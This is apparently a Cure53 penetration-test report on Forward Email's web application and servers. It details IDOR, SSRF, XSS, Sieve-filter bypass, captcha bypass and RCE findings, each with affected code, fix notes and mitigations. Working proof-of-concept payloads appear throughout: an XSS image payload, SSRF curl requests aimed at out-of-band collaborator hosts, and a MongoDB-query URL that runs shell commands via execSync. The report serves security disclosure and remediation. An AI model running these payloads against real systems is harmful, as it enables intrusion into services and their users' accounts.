Security assessments for software that matters.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Pentest-Report Forward Email Arch & Infrastructure 05.2026

Cure53, Dr.-Ing. M. Heiderich, J. Larsson, MSc. R. Peraglie

Index

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Introduction

“Forward Email is a free and open-source email forwarding service focused on a user's right to privacy. What began as a simple email forwarding solution in 2017 has evolved into a comprehensive email platform offering unlimited custom domain names, unlimited email addresses and aliases, unlimited disposable email addresses, spam and phishing protection, encrypted mailbox storage, and numerous advanced features.”

From https://forwardemail.net/en/about

This report describes the results of a security assessment of the Forward Email complex, specifically focusing on its security codebases and the Forward Email server. The project, which included a configuration review and source code audits, was conducted by Cure53 in May 2026.

The examination, registered as *FWD-01*, was requested by Forward Email LLC in March 2026 and was then scheduled to start in May 2026 to give both sides time to prepare. This project is the first security review commissioned by Forward Email to the Cure53 team.

In terms of the exact timeline and specific resources allocated to *FWD-01*, the Cure53 team has completed their research in CW19 of 2026. In order to achieve the expected coverage of the components in scope, a total of ten days were invested. A team consisting of three senior testers was formed and assigned to the preparation, execution, documentation, and delivery of this project.

For optimal structuring and tracking of tasks, the assessment was divided into two separate work packages (WPs):

- **WP1**: Reviews & source code audits against Forward Email server configuration
- **WP2**: Reviews & source code audits against Forward Email security codebases

The so-called white-box methodology was used across both WPs. A list of focus areas to prioritize, as well as all further means of access required to complete the tests, were given to Cure53. What is more, all sources corresponding to the test targets were shared to ensure that the project could be executed in accordance with the agreed framework.

The project could be carried out without any major issues. To facilitate a smooth transition into the testing phase, all preparations were completed in CW18. Throughout the engagement, communications were conducted through a private, dedicated, and shared Slack channel. Stakeholders - including Cure53 testers and the internal staff from Forward Email - were able to participate in discussions in this space.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Cure53 did not need to ask many questions, and the quality of all project-related interactions was consistently excellent. The testers offered frequent status updates on the examination and emerging findings. Furthermore, live-reporting was offered and subsequently executed via the mentioned Slack channel.

Continuous communication contributed positively to the overall results of this project. Significant roadblocks were avoided thanks to clear and careful preparation of the scope, as well as through subsequent support.

The Cure53 team achieved the expected level of coverage for the WP1-WP2 objectives. Of the ten security-related discoveries, the majority of eight represent security vulnerabilities. This means that two items were classified as general weaknesses with lower exploitation potential. While the overall moderate number of findings would usually be interpreted as a positive sign, this is not the case for *FWD-01*.

More specifically, it is quite alarming that Cure53 was able to unveil several *High* and *Critical* vulnerabilities in the frames of this Forward Email examination. A wide array of major vulnerabilities was observed, including XSS issues, RCE, IDOR, as well as SSRF problems.

Given this outcome, it is strongly recommended for the Forward Email team to swiftly and comprehensively address all issues reported during this May 2026 inspection. The utmost priority should be given to *Critical* issues, as their presence undermines a safe and secure environment for the Forward Email users.

Once all findings are fully resolved, Cure53 recommends to once again test the Forward Email server configuration and the security codebases. More in-depth investigations are needed to, first, ensure the completeness of the fixes and, second, to ensure that no other severe threats continue to be hidden deeper within the complex.

The following sections first describe the scope and key test parameters, as well as how the work packages were structured and organized.

Next, all findings are presented as vulnerabilities and as miscellaneous flaws. The problems are then discussed chronologically within each category. In addition to technical descriptions, PoC and mitigation advice is provided where applicable.

The report ends with general conclusions relevant to this spring 2026 project. Based on the test team's observations and the evidence collected, Cure53 elaborates on the overall impressions and reiterates the verdict. The final section also includes tailored hardening recommendations for the Forward Email codebases and server configurations.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Scope

- **Code & config audits & infrastructure reviews of Forward Email Arch & infrastructure**
  - **WP1:** Reviews & source code audits against Forward Email server configuration
    - **Source code:**
      - https://github.com/forwardemail/forwardemail.net
      - https://github.com/forwardemail/mail.forwardemail.net
    - **Special focus on infrastructure and host-level security assets:**
      - Ansible playbook review covering:
        - OS hardening
        - Firewall rules
        - SSH configuration
        - Service isolation
        - TLS configuration
        - Secrets handling across the provisioning pipeline
      - Denial-of-Service and single-point-of-failure exposure:
        - Architectural review of components whose failure would degrade or potentially take down the service
        - No active DoS testing was performed against the live infrastructure
      - Brute-force and rate-limiting controls:
        - Verification of the protections in place on IMAP, SMTP, POP3, the REST API, and the web login surfaces, including testing of bypass techniques
      - Server-side TLS and endpoint disclosures:
        - Inspection of the TLS posture and information exposure on the IMAP, POP3, API, and SMTP endpoints
  - **WP2:** Reviews & source code audits against Forward Email security codebases
    - **Source code:**
      - https://github.com/forwardemail/forwardemail.net
      - https://github.com/forwardemail/mail.forwardemail.net
    - **Special focus on application-level security assets:**
      - The SQLite implementation backing the encrypted mailboxes; associated cryptographic implementations - such as key derivation and key management and the data-at-rest protections built on top.
      - Server-side validation against injection and validation-bypass attacks, privilege-escalation vectors across the REST API endpoints, the various form handlers, and the associated mail protocols (IMAP, POP3, SMTP).
      - Client-side validation, Cross-Site Scripting, Cross-Site Request Forgery, and insecure client-side logic flows, in particular within the webmail surface.
      - Authentication and authorization concepts, including validation of session management, the OAuth flow, API-key handling, alias password generation, and cross-account access controls.
      - General codebase vulnerability assessment, focusing on user-controllable sinks, information disclosure, dependency vulnerabilities and insecure defaults.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

    - Validation of the published privacy claims, in particular that:
        - no email content is stored for forwarding;
        - no log retention takes place;
        - IMAP storage is encrypted, by inspecting the live configuration and relevant data stores against those statements.
- **Test-supporting material was shared with Cure53**
- **All relevant sources were shared with Cure53**

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified during the testing period. Notably, findings are cited in chronological order rather than by degree of impact, with the severity rank offered in brackets following the title heading for each vulnerability. Furthermore, every ticket has been given a unique identifier (e.g., *FWD-01-001*) to facilitate any follow-up correspondence.

FWD-01-001 WP2: IDOR in *invite accept* route allows domain access (*Critical*)

Fix Note: *This issue has been fixed by the development team and verified by Cure53 to be working as expected. The described issue no longer exists.*

It was found that the *invite accept* route allows passing the domain ID in order to redeem an invite for the domain in question. It was discovered that the domain ID is a MongoDB object identifier, which means that it can be predicted and extracted from the public DNS TXT records of a domain, as long as the setup is as recommended by Forward Email.

Given the above, it is possible for an attacker to extract or predict the domain ID and then redeem any outstanding or future member invites for this domain. Since this does not require any user interaction, this issue is rated as *Critical*.

Steps to reproduce:

1. As a benign admin, create the domain and set up the SMTP for the domain in a manner recommended by the *verify-smtp* page at *https://forwardemail.net/en/my-account/domains/haxolot.com/verify-smtp*. This also includes the DNS TXT record containing the public domain ID.

   DNS TXT record:
   `v=DMARC1; p=reject; pct=100; rua=mailto:dmarc-69fa12b60e3f9785dc55277e@forwardemail.net;`

2. As the benign admin, invite another benign user to the domain
3. As an attacker, extract the domain ID from the public DNS text record set up in *Step 1*
4. While the invite is still outstanding, the attacker can use the ID to create the invite email URL.

   Invite URL:
   `https://forwardemail.net/en/my-account/domains/69fa12b60e3f9785dc55277e/invites`

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

5. Once the domain is visited with the authenticated user-account of the attacker, the domain becomes accessible to the attacker.

It can be observed in the source code below that there is a fallback within the catch block. The block is reached when the highlighted *domain_id* route parameter is a MongoDB ObjectID. In this case, the *invitedEmail* parameter is also set to *null*, effectively disabling the check that requires a matching email of the invited and currently authenticated user. In that case, the first outstanding invite is simply redeemed, and the currently authenticated user is added as a member to the domain.

Affected file:
app/controllers/web/my-account/retrieve-invite.js

Affected code:

```
async function retrieveInvite(ctx) {
  [...]
  try { [...] } catch {
    // decryption failed - this is a legacy link with plain domain_id
    // validate it looks like a valid ObjectId
    if (mongoose.isValidObjectId(ctx.params.domain_id)) {
      domainId = ctx.params.domain_id;
      // for legacy links, we'll find any invite in the domain
      invitedEmail = null;
    }
  [...]
  if (invitedEmail) { [...] } else { [...]
    invite = domain.invites.find((inv) => inv.email ===
ctx.state.user.email);
    if (!invite && domain.invites.length > 0) {
      invite = domain.invites[0];
    }
  }
  [...]
  const emailMismatch = invite.email !== ctx.state.user.email;
  [...]
  domain.members.push({
    user: ctx.state.user._id,
    group
  });
  [...]
  ctx.state.domain = await domain.save();
```

It is recommended to disable all legacy fallbacks and always require knowing a secret invite token generated with sufficient entropy from a cryptographically secure PRNG. Further, the email address used during the invite process should always match the invite of the currently

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

authenticated user. The proposed strategy will guarantee that the secret token becomes unguessable and the invite cannot be redeemed without obtaining the secret token that should only be sent to the invited email address.

FWD-01-002 WP2: Authenticated SSRF via S3 *connection-test* endpoint *(High)*

Fix Note: *This issue has been fixed by the development team and verified by Cure53 to be working as expected. The described issue no longer exists.*

Testing confirmed that the per-domain S3 *connection-test* endpoint constructs an *S3Client* instance from values supplied directly in the request body and uses it to issue outbound HTTP requests to a user-controlled host. No allowlist, destination IP filtering, or protocol enforcement is applied before the requests are executed.

From this perspective, an authenticated user holding the admin role on a paid-plan domain can cause the production application server to send signed HTTP requests to arbitrary destinations. This primitive is rendered very useful for post-compromise exploitation and lateral movement, as it is capable of issuing multiple request types.

During testing, access was possible to *127.0.0.0/8* and the public Internet. While *metadata* endpoints are blocked at the network layer, loopback access allows enumeration of services bound to localhost. The response reflects low-level network errors such as *ECONNREFUSED* together with the resolved IP and port. This effectively provides closed, reachable and filtered data for blind service discovery.

The request flow also includes a *write* operation with a fixed payload *connection-test*, allowing interaction with attacker-controlled S3-compatible endpoints using arbitrary object names. In addition, the *User-Agen*t string discloses environment details such as the production kernel, Node.js and AWS SDK versions.

Affected files:
app/controllers/web/my-account/test-s3-connection.js
helpers/get-s3-client.js

Affected code:

```
const endpoint = isSANB(body.s3_endpoint) ? body.s3_endpoint :
ctx.state.domain.s3_endpoint;
const region   = isSANB(body.s3_region)   ? body.s3_region   :
ctx.state.domain.s3_region || 'auto';
const bucket   = isSANB(body.s3_bucket)   ? body.s3_bucket   :
ctx.state.domain.s3_bucket;
...
if (!isURL(endpoint, config.isURLOptions))
  throw Boom.badRequest(ctx.translateError('CUSTOM_S3_INVALID_ENDPOINT'));
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
const testClient = new S3Client({
  region, endpoint,
  credentials: { accessKeyId, secretAccessKey },
  requestChecksumCalculation: 'WHEN_REQUIRED',
  responseChecksumValidation: 'WHEN_REQUIRED'
});
try {
  await testClient.send(new HeadBucketCommand({ Bucket: bucket }));
  const testKey = `.forwardemail-connection-test-${Date.now()}`;
  await testClient.send(new PutObjectCommand({
    Bucket: bucket, Key: testKey, Body: 'connection-test', ContentType:
'text/plain'
  }));
  await testClient.send(new DeleteObjectCommand({ Bucket: bucket, Key:
testKey }));


const defaultS3Client = new S3Client({
  region: env.AWS_REGION,
  endpoint: env.AWS_ENDPOINT_URL,
  credentials: {
    accessKeyId: env.AWS_ACCESS_KEY_ID,
    secretAccessKey: env.AWS_SECRET_ACCESS_KEY
  },
  requestChecksumCalculation: 'WHEN_REQUIRED',
  responseChecksumValidation: 'WHEN_REQUIRED'
});
```

PoC request:

```
curl -sk -u "${TOKEN}:" -X POST \
    -H 'Content-Type: application/json' \
    --data "{\"s3_endpoint\":\"http://${COLLAB}/\",\"s3_region\":\"us-east-
1\",
            \"s3_access_key_id\":\"audit-
x\",\"s3_secret_access_key\":\"audit-y\",
            \"s3_bucket\":\"any\"}" \
    "https://api.forwardemail.net/v1/domains/${DOMAIN_ID}/test-s3-
connection"
```

PoC response:

```
HTTP/1.1 400 Bad Request
X-Request-Id: 1a39004d-3d64-4a3b-af44-c5e1cdd6e945
{"statusCode":400,"error":"Bad Request",
 "message":"The S3 bucket you specified is publicly accessible. ..."}
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

PoC requests to *collaborator* instance:

```
HEAD / HTTP/1.1
host: any.ep7772spu25balr1m3fe2cdwgnmea4yt.oastify.com
user-agent: aws-sdk-js/3.844.0 ua/2.1 os/linux#5.15.0-176-generic
            lang/js md/nodejs#18.20.4 api/s3#3.844.0 m/N,E,e
authorization: AWS4-HMAC-SHA256
Credential=audit-x/20260505/us-east-1/s3/aws4_request, ...

PUT /.forwardemail-connection-test-1778005641144?x-id=PutObject HTTP/1.1
host: any.ep7772spu25balr1m3fe2cdwgnmea4yt.oastify.com
content-length: 15
authorization: AWS4-HMAC-SHA256
Credential=audit-x/20260505/us-east-1/s3/aws4_request, ...
(body: "connection-test")

DELETE /.forwardemail-connection-test-1778005641144?x-id=DeleteObject
HTTP/1.1
host: any.ep7772spu25balr1m3fe2cdwgnmea4yt.oastify.com
authorization: AWS4-HMAC-SHA256
Credential=audit-x/20260505/us-east-1/s3/aws4_request, …
```

It is recommended to resolve the user-supplied endpoint URL and reject any address in a private, loopback, link-local, or otherwise reserved range, including the equivalent IPv6 ranges. This should take place before issuing the outbound request, reusing the same resolved address for the call itself, so that DNS rebinding cannot shift the destination between validation and request.

Cure53 further advises suppressing the underlying network error codes from the response body in favor of a generic message that does not echo the resolved destination. The Forward Email team should remove the write and delete probe steps from the *connection-test* flow, or scope them to the already-verified production buckets only. This would make it impossible to use the surface as an attacker-controlled outbound write.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

FWD-01-003 WP2: XSS via passkey query parameter on security page *(High)*

Fix Note: *This issue has been fixed by the development team and verified by Cure53 to be working as expected. The described issue no longer exists.*

It was found that the application suffers from a Cross-Site Scripting (XSS) vulnerability due to user-input being embedded directly into JavaScript string literal during the rendering process of a *PUG* template. This is generally unsafe, as the *PUG* template engine does not automatically detect the JavaScript context and will only escape characters that are relevant for the HTML context, namely ", <, > and &.

As a result, attackers will always have some wiggle room to use relevant characters in JavaScript string literals which are - depending on the used string quotes - a range of characters: \, $, {, `, '. This is sufficient to directly escape single-quoted strings and backtick-quoted templates.

The latter was identified and confirmed to be present within the *security.pug* template, yielding a direct XSS vulnerability. Even a fixed *Content-Security-Policy* (FWD-01-008) that demands nonces would not prevent this issue, as the input is rendered into a *script* tag with a valid nonce. When an authenticated user clicks on the following link, an alert box pops up.

Proof-of-Concept:
`https://forwardemail.net/en/my-account/security?passkey=123`-alert`123`

The following source code excerpt shows the underlying application logic. The passkey query parameter is received from the *ctx.query* object and directly rendered into a literal string in JavaScript template, as seen in the highlighted line.

Affected file:
app/views/my-account/security.pug

Affected code:

```
block body
  if !isBot(ctx.get('User-Agent')) && isSANB(ctx.query.passkey)
    script(defer, nonce=nonce).
      window.addEventListener(
        "load",
        function load() {
          if (!window.jQuery) return setTimeout(load, 50);
          $(function () {
            $(`#modal-nickname-#{ctx.query.passkey}`).modal("show");
          });
        },
        false
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
);
```

It is generally recommended that no user-controlled inputs are ever rendered into a *script* tag with the *PUG* template engine. Instead, all executed JavaScript items should be static and constant. Any processed inputs could be rendered into *data-** attribute values or the content of harmless and invisible tags like <*div*> while the automatic HTML sanitization of *PUG* remains enabled (#{...}).

The proposed approach makes it possible to always keep the HTML sanitization enabled, while concurrently rendering exclusively into HTML context. If this is paired with a proper *Content-Security Policy* - as mentioned in FWD-01-008 - the exploitation of HTML injections into a Cross-Site Scripting vulnerability becomes much more difficult.

FWD-01-004 WP1: Sieve-protected header bypass via variables *(Medium)*

Fix Note: *This issue has been fixed by the development team and verified by Cure53 to be working as expected. The described issue no longer exists.*

Testing confirmed that the security validator used to vet user-supplied mail-filter scripts inspects header-modification commands as static program text. What is more, the runtime engine resolves variable references in those same arguments before executing them. A script that names a protected header through an indirect variable reference therefore passes validation and acts on the protected header at execution. This defeats the platform's published allowlist of authenticity-related headers.

As a result, an authenticated mailbox owner can add or remove any header on inbound mail within their own mailbox, including the headers the platform classifies as protected. The attacker can forge the sender identity a mail client renders and remove the authentication outcomes set by the upstream server.

Then, downstream rendering hides spam, signature and policy results. It strips the cryptographic signature carried by the message to break archival and forwarding integrity, thereby obscuring the inbound routing path. The bypass is achievable through either of the supported script-management surfaces.

Affected files:
helpers/sieve/security.js
helpers/sieve/engine.js

Affected code:

```
analyzeEditheader(cmd, result, _context) {
  result.stats.editheaderCount++;

  const headerName = (
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    cmd.headerName ||
    cmd.fieldName ||
    cmd.name ||
    ''
  ).toLowerCase();

  if (this.config.protectedHeaders.includes(headerName)) {
    result.valid = false;
    result.errors.push({ type: 'protected_header_modification', ... });
    ...
  }
  ...
}

case 'Addheader': {
  state.actions.push({
    type: 'addheader',
    name:  this.interpolateVariables(command.name, state),
    value: this.interpolateVariables(command.value, state),
    last:  command.last || false
  });
  break;
}

case 'Deleteheader': {
  state.actions.push({
    type:        'deleteheader',
    name:        this.interpolateVariables(command.name, state),
    index:       command.index,
    matchType:   command.matchType,
    comparator:  command.comparator,
      values:        command.values.map((v) => this.interpolateVariables(v,
state))
  });
  break;
}
```

Steps to reproduce:

1. Authenticate to *ManageSieve* on port 4190 as any alias holder or, alternatively, to *POST /v1/sieve-scripts* with the alias credentials.
2. Submit a script that imports the *editheader* and variable extensions, assigns a protected header name to a variable using set. Then references that variable in *addheader* or *deleteheader.*
3. Activate the script via *SETACTIVE (ManageSieve)* or *POST /v1/sieve-scripts/:script_id/activate* (REST).

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

4. Send a message to the alias and inspect the delivered copy. The protected headers will be modified despite the validator's allowlist rejecting the same operation when the header name is supplied as a literal.

It is recommended to perform the protected-header check against the resolved value of the command argument, after variable references have been expanded to the same values the engine will see. This should be done either inside the validator or inside the engine immediately prior to dispatching the header-modification action.

Cure53 also suggests comparing values against a normalized form of the resolved name, with leading and trailing whitespace stripped, unicode confusables normalized and case folded. Resultantly, a bypass of structural variants of the protected names' check would be eradicated.

FWD-01-006 WP2: Unauthenticated blind SSRF via *Domain Connect* (Medium)

Fix Note: *This issue has been fixed by the development team and verified by Cure53 to be working as expected. The described issue no longer exists.*

The *Domain Connect* onboarding endpoint takes a domain name from the request body, looks up a discovery TXT record under that domain, and issues outbound HTTP requests to whatever URL the TXT record names. The discovered URL is not allow-listed, the resolved address is not checked against private or loopback ranges, the protocol is not pinned, and the endpoint is reachable without authentication.

As a result, any unauthenticated caller can make the server issue outbound HTTP requests to a destination of the caller's choosing. The response bodies of those requests are not returned to the caller, so the primitive does not cause direct data exfiltration. However, it does yield an open-redirect gadget that reflects an attacker-controlled URL back to the unauthenticated caller through the *redirect* field of the response.

This could be useful for phishing from a high-trust verified production domain. It could also facilitate enumeration using status-codes, which would help distinguish internal targets returning success, not-found, and unreachable. The latter could be leveraged for reconnaissance against the application's internal network position.

Affected file:
app/controllers/web/domain-connect.js

Affected code:

```
// app/controllers/web/domain-connect.js
module.exports = async (ctx) => {
  const { domain } = ctx.request.body;
  if (!isFQDN(domain)) throw Boom.badRequest(...);
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
  const discovered = await discoverDomainConnectUrl(domain);
  if (discovered) {
    const settings = await fetchProviderSettings(discovered, domain);
GET ${apiBase}/v2/${domain}/settings
    if (settings && settings.urlSyncUX) {
      const templateCheckBase = settings.urlAPI || discovered;
      const templateResult = await checkTemplateSupport(templateCheckBase);
      if (templateResult === 'supported') urlSyncUX = settings.urlSyncUX;
    }
  }
  ctx.body = { applyUrl: buildApplyUrl(urlSyncUX, params, ...) };
};
```

Steps to reproduce:

1. Publish a TXT record at *_domainconnect.{controlled-domain}* with the value of the URL the production server should fetch, prefixed with *http://* to keep the application from upgrading the URL to *https://.*
2. Submit a *POST /en/domain-connect* request to *forwardemail.net* with a body containing *domain={controlled-domain}*. The request requires no authentication.
3. Observe - at the listener - the inbound *GET /v2/{controlled-domain}/settings* request. Its host header carries the attacker-supplied URL, originating from the production application's egress IP.

PoC requests:

```
$ dig +short TXT _domainconnect.h8.nu @1.1.1.1
"http://li7e09lwn9yi3sk8fa8lvj639ufm3cr1.oastify.com"

$ curl -sk -X POST https://forwardemail.net/en/domain-connect \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    --data 'domain=h8.nu'
```

Below are the production server's outbound requests captured by the listener.

PoC responses:

```
GET /v2/h8.nu/settings HTTP/1.1
host: li7e09lwn9yi3sk8fa8lvj639ufm3cr1.oastify.com
```

From there, run against a local instance. The same single *POST* triggers both outbound fetches while the response body embeds the attacker's URL inside **applyUrl*:

```
{"applyUrl":"http://127.0.0.1:9999/syncux/v2/domainTemplates/providers/
placeholder/services/placeholder/apply?domain=h8.nu&..."}

Listener log on 127.0.0.1:9999:
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
GET /v2/h8.nu/settings
GET /api/v2/domainTemplates/providers/placeholder/services/placeholder
```

Cure53 recommends resolving the discovered URL's hostname before issuing the outbound request. Addresses in a private, loopback, link-local, or otherwise reserved range, including the equivalent IPv6 ranges should be rejected. It is suggested to reuse the same resolved address for the call itself, so that DNS rebinding cannot shift the destination between validation and request. It is further recommended to apply the same resolve-and-reject filter to any URL fields lifted out of the first response before they are used to issue the second request. This should be used to set short connect and read timeouts, and to suppress the discovered URL from the response body. This would mean that this chain cannot be used as an open redirect or for URL-reflections.

FWD-01-007 WP2: XSS via Context Flash - *Alias Email Invite* (*High*)

Fix Note: *This issue has been fixed by the development team and verified by Cure53 to be working as expected. The described issue no longer exists.*

It was found that the application suffers from an XSS vulnerability within the *Alias Email Invite* feature. User-input is directly embedded into HTML markup that is then later added to the DOM without sanitization by passing it to the *ctx.flash* method. The affected URL is emailed to a target user originating from a trusted forward email domain and is, therefore, particularly interesting in targeted attacks.

Steps to reproduce:

1. As an authenticated adversary, go to *Domain Aliases*
2. Create an alias for the name *xss.*
3. Click on *Generate Password.*
4. Enter an email address of a targeted user and add the XSS payload seen below as the password. Save the data.

   XSS password payload:
   ```
   <img src=x onerror=alert(2)>
   ```

5. The victim-user will receive an email of the form below. This form contains the encrypted XSS payload. Upon visit, the XSS will be triggered.
   Alternatively, the URL can also be shared with a victim through other channels.

   Proof-of-Concept URL:

   ```
   https://forwardemail.net/ap/69fa12b60e3f9785dc55277e/69fdec71ddb9bc73eadb4e5e/
   AoNAf_C8iPuKu4J4g0NwFGAg3ykWwo3dNUVi44k1R1vReWQzrein2RGYqcfXPmO8q61MiVjFfDob
   ```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The following source code first shows a format string being defined in a template string constant. The string contains literal HTML, along with the ordinary string format modifiers that are later replaced without sanitization.

Affected file - vulnerable template file:
config/phrases.js

Affected code - vulnerable template file:

```
const ALIAS_GENERATED_PASSWORD = `
<div class="container mt-4">
  [...]
  <div class="mb-4">
    <strong>Password:</strong>
    <code class="notranslate">%s</code>
    [...]`.trim();
```

The following function shows the *regenerateAliasPassword* function that formats the HTML template string with the ctx.*translate* invocation. The highlighted user-input is used here and will be replaced with string modifiers *%s* without HTML sanitization. This HTML is then passed to the *ctx.flash* method that will store HTML in the user session. At that location, it will be rendered with the *PUG* template engine on the next turn.

Affected file for *regenerateAliasPassword:*
app/controllers/web/index.js

Affected code for *regenerateAliasPassword*:

```
async function regenerateAliasPassword(ctx) {
    [...]
          const   encryptedPassword   =   ctx.params.encrypted_password   ||
ctx.params[0];
    [...]
    const html = ctx.translate(
      'ALIAS_GENERATED_PASSWORD',
      username,
      username,
      decrypt(encryptedPassword),[...]);

    const swal = {
      title: ctx.request.t('Success'),
      html, [...] };

    ctx.flash('custom', swal);
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

It is recommended to use the template rendering engine with automatic HTML-relevant escaping in order to embed the user-input into the HTML markup. As mentioned in FWD-01-003, automatic escaping should never be turned off and no inputs should be rendered into JavaScript, but only into harmless HTML elements or attributes instead. In combination with a strong *Content-Security-Policy,* this would make these vulnerabilities and their successful exploitation much more sophisticated and unlikely.

FWD-01-009 WP1: Captcha bypass via insecure dependency *(High)*

Fix Note: *This issue has been fixed by the development team and verified by Cure53 to be working as expected. The described issue no longer exists.*

It was discovered that the Cloudflare Turnstile mechanism is largely ineffective due to a bug related to the error handling in the applied *turnstile* policy. The code does not distinguish an error associated with a downed Cloudflare service from an error associated with an invalid captcha. As a result, the captcha mechanism can be fully bypassed. Since this allows bypassing the anti-bot protections on the whole platform, this vulnerability was rated with a *High* severity.

The following source code extract shows the source code of the dependency that provides the *ensureTurnstile* middleware individually added to server-side routes. It can be seen that if the Cloudflare Turnstile verification is unsuccessful, the code throws an error. However, this error is caught by the *catch* clause, while the error is logged but ignored. As a result, an invalid captcha result is silently discarded.

Affected file:
node_modules/.pnpm/@ladjs+policies@12.2.1_undici@7.12.0/node_modules/@ladjs/policies/index.js

Affected code:

```
async ensureTurnstile(ctx, next) {
[...]
try {
      const res = await
request('https://challenges.cloudflare.com/turnstile/v0/siteverify',
{ [...]});
      const body = await res.body.json();
      [...]
      if (body.success !== true) {
        [...]
        // https://docs.turnstile.com/#siteverify-error-codes-table
        const err = Boom.badRequest(
          ctx.translate
            ? ctx.translate('TURNSTILE_NOT_VERIFIED')
            : 'Turnstile not verified.'
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
        );
        err.is_turnstile = true;
        ctx.throw(err);
        return;
      }
      return next();
    } catch (err) {
      // this indicates an HTTP error or error while parsing JSON response
      // (e.g. in case the turnstile service goes down)
      ctx.logger.fatal(err);
      return next();
    }
  }
```

It is recommended to fix this by not catching and recovering from errors during the captcha validation. This allows the error that is thrown in the event of an invalid captcha to propagate up the callstack, thereby mitigating this vulnerability.

FWD-01-010 WP1: Admin RCE via MongoDB query injection *(**Critical**)*

***Fix Note:** This issue has been fixed by the development team and verified by Cure53 to be working as expected. The described issue no longer exists.*

The application suffers from a Remote Code Execution vulnerability through the MongoDB filter query parameter within the admin panel that is parsed with a vulnerable third-party library. It was confirmed that luring an authenticated administrator on to the specially crafted URL causes the *shell* commands contained within the query parameter to be executed on the underlying operating system. For this reason, this vulnerability was rated as *Critical*.

Proof-of-Concept:

```
http://forwardemail.local:3000/en/admin/logs?mongodb_query=((/
a/).__lookupGetter__('source')).constructor("return
%20console.log(process.mainModule.require('child_process').execSync('id>/
tmp/cure53washere'))").call()
```

The following source code excerpt shows one occurrence of a common code pattern within the admin panel. The *mongodb_query* parameter transmitted as a URL query is parsed with the vulnerable *parseFilter* function imported from the *mongodb-query-parser* library.

Affected files:
helpers/get-mongo-query.js
app/controllers/web/admin/{users,domains,payments,inquiries,logs,emails}.js

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Affected code pattern:

```
const parser = require('mongodb-query-parser');
[...]
function getMongoQuery(ctx) {
  let query = {};
  [...]
  if (isSANB(ctx.query.mongodb_query)) {
    try {
      query = parser.parseFilter(ctx.query.mongodb_query);
      if (!query || Object.keys(query).length === 0)
        throw new Error('Query was not parsed propery');
```

Internally, the user-supplied MongoDB query is parsed with the Acorn JavaScript parser, and the resulting JavaScript AST is manually traversed and evaluated on the fly. Surprisingly, the library allows AST nodes of type *CallExpression* which are passed to the *memberExpression* function depicted in the following source code excerpt.

It can be observed in the highlighted part that the library permits calling arbitrary members of the *calleThis* receiver object, including internal JavaScript properties. It was confirmed that this would be sufficient to pass user-supplied code to a function constructor invocation, resulting in a function that can then be executed.

Affected file:
https://github.com/mongodb-js/devtools-shared/blob/7b49da03e3e9146e35165b2c92bf3384784148f6/packages/shell-bson-parser/src/eval.ts#L106

Affected code:

```
const memberExpression = (node: CallExpression, withNew: boolean): any => {
  switch (node.callee.type) {
    case 'Identifier': {
      // Handing <Constructor>() and new <Constructor>() cases
      const callee = getScopeFunction(node.callee.name, withNew);
      const args = node.arguments.map((arg) => walk(arg));
      return callee.apply(callee, args);
    }
    case 'MemberExpression': {
      // If they're using a static method or a member
      const calleeThis =
        node.callee.object.type === 'Identifier'
          ? getClass(node.callee.object.name)
          : walk(node.callee.object);

      const calleeFn =
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
        node.callee.property.type === 'Identifier' &&
            node.callee.property.name;

      if (!calleeFn)
        throw new Error('Expected CallExpression property to be an
            identifier');

      const args = node.arguments.map((arg) => walk(arg));
      return calleeThis[calleeFn](...args);
    }
    default:
      throw new Error('Should not evaluate invalid expressions');
  }
};
```

It is recommended to mitigate this vulnerability by not receiving the MongoDB filter from the URL query parameters, instead using the HTTP body. Due to the specific cookie settings, this immediately mitigates the CSRF vector that triggers the *parseFilter* function when an admin visits a URL or web page drive-by. This can mitigate this vulnerability until a fix is made available upstream.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

